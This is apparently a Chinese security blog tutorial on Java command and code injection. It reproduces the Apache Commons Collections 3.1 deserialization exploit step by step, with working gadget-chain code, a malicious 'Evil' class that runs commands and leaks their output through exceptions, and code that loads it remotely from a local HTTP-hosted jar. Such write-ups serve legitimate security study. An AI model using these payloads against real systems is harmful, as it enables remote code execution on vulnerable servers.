【代码审计】命令注入和代码注入


0x01 命令注入

在开发过程中,开发人员可能需要对系统文件进行移动、删除或者执行一些系统命令,这时如果执行的命令用户可控,就会导致命令执行漏洞。

1、示例

当命令可控时,就可能会导致命令注入,例如以下代码:

String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);

这种漏洞原理很简单,主要就是找到执行系统命令的函数,看命令是否可控。

java 程序中执行系统命令的函数如下:

Runtime.exec
Process
ProcessBuilder.start
GroovyShell.evaluate
...

2、命令注入的限制

对于系统命令,可以使用连接符来执行多条语句,常见连接符及含义如下:

;    多个命令顺序执行,命令之间无任何逻辑关系
|    前面命令输出结果作为后面命令的输入内容
||   逻辑或,当前面命令执行失败后,后面命令才会执行,否则后面命令不执行
&    前面命令执行后继续执行后面命令
&&   逻辑与,当前面命令执行成功后,后面命令才会执行,否则后面命令不执行

对于 Java 环境中的命令注入,连接符的使用存在一些限制,例如以下代码:

Runtime.getRuntime().exec("ping " + url);

这里因为 URL 可控,因此当我们输入 127.0.0.1&ipconfig 时,拼接出来的系统命令就是 ping 127.0.0.1&ipconfig,该命令在系统终端下是能正常运行的,但是在 Java 环境下就会运行失败,这里因为 Java 在程序处理的过程中,会将 127.0.0.1&ipconfig 当做一个完整的字符串而非两条命令,因此上面的代码不存在命令注入。

0x02 代码注入

1、介绍

代码注入因为是直接注入一段代码,因此要比命令注入更加灵活,危害性也更大。

这里以 Apache Commons collections 组件为例。

Apache Commons collections 组件 3.1 版本有一段利用反射来完成特定功能的代码,控制相关参数后,就可以进行代码注入。

这里攻击者可以利用反序列化的方式控制相关参数,完成注入代码,达到执行任意代码的效果。

与命令注入相比,代码注入更具有灵活性,例如在 Apache Commons collections 反序列化漏洞中直接使用 Runtime.getRuntime().exec() 执行系统命令是无回显的,但如果通过 URLLoader 远程加载类文件以及异常处理机制就可以构造出回显的利用方式。

这里就以 Apache Commons collections 反序列化漏洞为例,体验一下代码注入,因为现阶段个人水平有限,这里还不能对 Apache Commons collections 反序列化漏洞的原理进行深入分析,等后面学习到相关内容的时候不出意外应该还会碰到这个漏洞,那个时候再好好分析分析这个漏洞。

2、Apache Commons collections 反序列化漏洞复现

环境搭建

该漏洞影响了 3.1 及以下的版本,这里以 3.1 版本为例,首先下载 commons-collections-3.1.zip 文件,下载地址:https://archive.apache.org/dist/commons/collections/binaries/commons-collections-3.1.zip

解压 commons-collections-3.1.zip 可以得到 commons-collections-3.1.jar 文件,接下来打开 intelliJ IDEA,创建一个普通的 Java 项目,然后选择「文件 –> 项目结构 –> 库 –> + –> Java」,添加 commons-collections-3.1.jar 包,我使用的 jdk 版本为 1.8.0_191

接下来在「src –> com –> commons」目录下创建 ApacheCommonsCollectionsDemo.java 文件(右击 com.commons 软件包选择:新建 –> Java 类文件)

无回显利用

在 ApacheCommonsCollectionsDemo.java 文件下写入以下代码

package com.commons;

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

public class ApacheCommonsCollectionsDemo {
    public static void main(String[] args) {

        //((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc")
        //构造恶意的chain
        Transformer[] transformers = new Transformer[] {
                //通过内置的ConstantTransformer来获取Runtime类
                new ConstantTransformer(Runtime.class),
                //通过InvokerTransformer来反射调用getMethod方法,参数是getRuntime,其后类似
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null,new Object[0]}),
                new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"})
        };

        Transformer transformChain = new ChainedTransformer(transformers);

        //普通的Map
        Map mp=new HashMap();
        mp.put("sw", "demo");

        // 将普通的Map变成TransformedMap,并且指定变换方式为前面定义的恶意chain
        Map transformMap = TransformedMap.decorate(mp, transformChain, transformChain);

        // 修改TransformedMap中的一个值,成功执行命令
        Map.Entry entry=(Map.Entry) transformMap.entrySet().iterator().next();
        entry.setValue("test");
    }
}

注意第 25 行我执行的命令是 open -a Calculator,这里是 Mac 下打开计算机的命令,如果在 Windows 下则需要修改成对应命令。

运行一下代码,可以看到成功弹出计算器

这里只是实现了无回显的利用方式,接下来就利用代码注入实现有回显的利用。

有回显利用

这里有回显利用的方式是使用 java.net.URLClassLoader 远程加载自定义恶意类,也就是自己放在服务器上的 jar 包,然后在抛出的异常信息中获得回显结果。

因此这里首先需要先写一个恶意类,具体如下:

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Evil {
    public static void Exec(String args) throws Exception {
        Process proc = Runtime.getRuntime().exec(args);
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();
        String line;
        while ((line = br.readLine()) != null) {
            sb.append(line).append("\n");
        }
        String result = sb.toString();
        Exception e = new Exception(result);
        throw e;
    }
}

将恶意类打包成 jar 文件,并放到服务器上,这里因为是本地演示,就直接在本地开个 Python HTTP 服务了。

javac Evil.java
jar -cvf Evil.jar Evil.class
python3 -m http.server 80

然后回到 intelliJ IDEA,在 com.commons 软件包中新建 ApacheCommonsCollectionsDemo2.java 文件,在文件中写入以下内容

package com.commons;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.util.HashMap;
import java.util.Map;

public class ApacheCommonsCollectionsDemo2 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[0];
        try {
            transformers = new Transformer[]{
                    new ConstantTransformer(java.net.URLClassLoader.class),
                    new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{java.net.URL[].class}}),
                    new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new java.net.URL[]{new java.net.URL("http://127.0.0.1/Evil.jar")}}}),
                    new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"Evil"}),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"Exec", new Class[]{String.class}}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{"uname"}})
            };
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

        Field valfield = poc.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(poc, entry);

        File f = new File("payload.ser");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(poc);
        out.close();

        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();
    }
}

这里执行的命令是 uname,运行代码可以看到报错信息里显示了 Darwin,说明命令被成功执行了。

这样就利用代码注入实现了 Apache Commons collections 反序列化漏洞有回显的利用。

参考链接:

https://www.freebuf.com/vuls/251664.html

https://www.anquanke.com/post/id/224487

https://blog.csdn.net/Candyys/article/details/106006282

https://blog.csdn.net/java276582434/article/details/90550578

更多信息欢迎关注我的个人微信公众号:TeamsSix


文章作者: TeamsSix
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 TeamsSix !
评论
  目录